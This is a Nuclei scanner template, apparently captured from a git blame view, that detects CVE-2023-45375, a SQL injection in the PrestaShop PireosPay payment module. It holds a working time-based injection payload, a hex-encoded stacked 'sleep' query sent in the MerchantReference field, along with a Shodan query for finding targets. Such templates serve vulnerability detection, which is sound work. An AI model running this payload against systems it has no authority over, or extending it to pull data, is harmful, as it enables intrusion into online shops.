2024-03-16 17:23:48 +00:00
|
|
|
id: CVE-2023-45375
|
|
|
|
info:
|
2024-04-15 12:34:11 +00:00
|
|
|
name: PrestaShop PireosPay - SQL Injection
|
2024-03-16 17:23:48 +00:00
|
|
|
author: MaStErChO
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.
|
|
|
|
reference:
|
|
|
|
- https://security.friendsofpresta.org/modules/2023/10/12/pireospay.html
|
2024-04-15 12:34:11 +00:00
|
|
|
- https://github.com/fkie-cad/nvd-json-data-feeds
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 8.8
|
|
|
|
cve-id: CVE-2023-45375
|
|
|
|
cwe-id: CWE-89
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.01204
|
|
|
|
epss-percentile: 0.8517
|
2024-04-15 12:34:11 +00:00
|
|
|
cpe: cpe:2.3:a:01generator:pireospay:*:*:*:*:*:prestashop:*:*
|
2024-03-16 17:23:48 +00:00
|
|
|
metadata:
|
2024-04-15 12:34:11 +00:00
|
|
|
verified: true
|
2024-06-07 10:04:29 +00:00
|
|
|
max-request: 2
|
2024-04-15 12:34:11 +00:00
|
|
|
vendor: 01generator
|
|
|
|
product: pireospay
|
2024-03-16 17:23:48 +00:00
|
|
|
framework: prestashop
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query: "http.component:\"prestashop\""
|
|
|
|
tags: cve,cve2023,sqli,prestashop,pireospay,01generator
|
2024-04-15 12:34:11 +00:00
|
|
|
flow: http(1) && http(2)
|
2024-03-16 17:23:48 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
2024-04-15 12:34:11 +00:00
|
|
|
GET / HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- status_code == 200
|
|
|
|
- contains(body, "/modules/pireospay/")
|
|
|
|
condition: and
|
|
|
|
internal: true
|
|
|
|
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
@timeout: 10
|
2024-03-16 17:23:48 +00:00
|
|
|
POST /module/pireospay/validation HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
ajax=true&MerchantReference=1%22;select(0x73656c65637420736c6565702836293b)INTO@a;prepare`b`from@a;execute`b`;--
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2024-04-15 12:34:11 +00:00
|
|
|
- duration>=6
|
|
|
|
- status_code == 302
|
|
|
|
- contains(content_type, "text/html")
|
2024-05-03 05:50:08 +00:00
|
|
|
condition: and
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 4b0a00483046022100f15c1bb56b22ab2f94529ddca1c0a06cbc06f0e07a1f56077c32b99e2c866bad022100b538a78680a96bcac30de2427b9197fa07b3502b9bf71699a5c9e5c50a88ac08:922c64590222798bb761d5b6d8e72950
|